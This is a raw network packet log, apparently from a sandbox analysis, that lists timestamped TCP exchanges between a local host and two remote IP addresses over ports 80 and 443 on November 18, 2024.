Nov 18, 2024 05:57:51.941308975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.941330910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.941343069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.941468000 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.946933985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.946944952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.946993113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.947029114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947041035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947069883 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.947442055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947485924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.947494030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947504044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947515011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947537899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.947633982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947645903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947657108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.947675943 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.947694063 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.948010921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.948023081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.948035002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.948074102 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.989618063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.989631891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.989643097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.989701986 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.989727974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.026602983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.026618958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.026631117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.026679039 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.026724100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.026736021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.026747942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.026773930 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.026787996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.027097940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.027121067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.027133942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.027163029 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.028254986 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.028327942 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.028383970 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.028556108 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.028570890 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.028583050 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.028589010 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.031841040 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.031907082 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.032063961 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.032244921 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.032272100 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.061057091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.061089993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.061110020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.061124086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.061129093 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.061160088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.066827059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.066838980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.066852093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.066890955 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.066920996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.066956997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067012072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067023993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067050934 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.067414999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067426920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067440033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067452908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067460060 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.067465067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.067487955 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.067500114 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.075484037 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.076006889 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.076075077 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.076572895 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.076586008 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.102910042 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.105998039 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.106030941 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.106544971 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.106550932 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.109297037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.109308958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.109325886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.109354973 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.146541119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.146555901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.146585941 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.146636009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.146647930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.146677017 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.146693945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.146704912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.146732092 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.146959066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.147001028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.147003889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.147162914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.147172928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.147198915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.180829048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.180840015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.180850029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.180877924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.180903912 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.186505079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.186546087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.186563015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.186573982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.186583042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.186583996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.186609983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.186896086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.186904907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.186945915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.187046051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.187083006 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.187088966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.187098980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.187133074 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.187469006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.187484026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.187494993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.187505960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.187522888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.187549114 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.207133055 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.207266092 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.207297087 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.207356930 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.207357883 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.207477093 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.207513094 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.207539082 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.207552910 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.210270882 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.210371971 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.210460901 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.210640907 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.210674047 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.228933096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.228956938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.228998899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.229007006 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.229043961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.229082108 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.232203007 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.232263088 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.232311010 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.232425928 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.232446909 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.232460022 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.232465982 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.235052109 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.235076904 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.235145092 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.235308886 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.235321045 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.266227007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266258001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266268969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266315937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.266386032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266396046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266406059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266429901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.266439915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.266741037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266752005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266762018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.266789913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.300723076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.300734043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.300803900 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.306457996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306512117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.306538105 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306557894 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306570053 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306586981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306593895 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.306598902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306627035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.306883097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306926012 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.306930065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306941986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306952953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.306976080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.307374954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.307418108 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.307420015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.307432890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.307462931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.307468891 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.307473898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.307517052 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.332030058 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.332536936 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.332570076 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.332942963 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.332953930 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.348710060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.348721981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.348732948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.348743916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.348799944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.348848104 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.385962963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386009932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386020899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386059999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.386096954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386141062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.386157990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386249065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386260033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386271954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386291027 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.386316061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.386559963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386576891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.386615992 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.426047087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426071882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426083088 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426141024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.426192999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426238060 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.426248074 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426338911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426357985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426368952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426393986 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.426410913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426436901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.426846027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426856041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426866055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426879883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426889896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426892996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.426901102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.426912069 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.426923990 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.427623034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.427632093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.427665949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.427815914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.427825928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.427835941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.427859068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.427870035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.464808941 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.464858055 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.464925051 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.465106964 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.465106964 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.465146065 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.465172052 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.467642069 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.467672110 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.467746973 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.467864037 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.467879057 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.468466043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.468478918 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.468488932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.468527079 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.505660057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505672932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505717993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505727053 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505861998 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.505873919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505884886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505891085 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505897045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.505923986 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.505956888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.545762062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.545775890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.545790911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.545795918 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.545849085 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.545975924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.545985937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.546004057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546016932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546027899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546046972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.546077013 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.546412945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546431065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546442032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546447992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546454906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546498060 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.546947002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546957970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546967983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.546996117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.547004938 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.547009945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.547022104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.547029972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.547039986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.547051907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.547055006 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.547080994 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.588217020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.588229895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.588241100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.588253975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.588268042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.588293076 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.625576019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.625600100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.625611067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.625624895 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.625650883 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.625657082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.625669003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.625679016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.625708103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.659327984 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.659849882 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.659894943 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.660547972 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.660563946 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.665587902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.665612936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.665623903 CET	80	60438	185.215.113.16	192.168.2.6
